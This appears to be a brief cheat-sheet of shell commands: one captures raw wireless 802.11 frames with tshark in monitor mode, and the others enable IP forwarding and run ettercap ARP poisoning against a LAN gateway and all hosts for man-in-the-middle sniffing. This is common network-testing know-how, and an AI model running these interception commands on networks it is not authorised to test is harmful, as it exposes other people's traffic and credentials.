Capure raw IEEE802.11 packets with tshark

sudo ./tshark -i en1 -I -y IEEE802_11 -R 'wlan.fc.type_subtype == 0x08 or wlan.fc.type_subtype == 0x20' -w wlan.pcap

MITM sniffing with ettercap-ng

sudo sysctl -w net.inet.ip.forwarding=1
sudo sysctl -w net.inet.ip.fw.enable=1
sudo ettercap -T -q -i en1 -M ARP:REMOTE /192.168.1.1/ //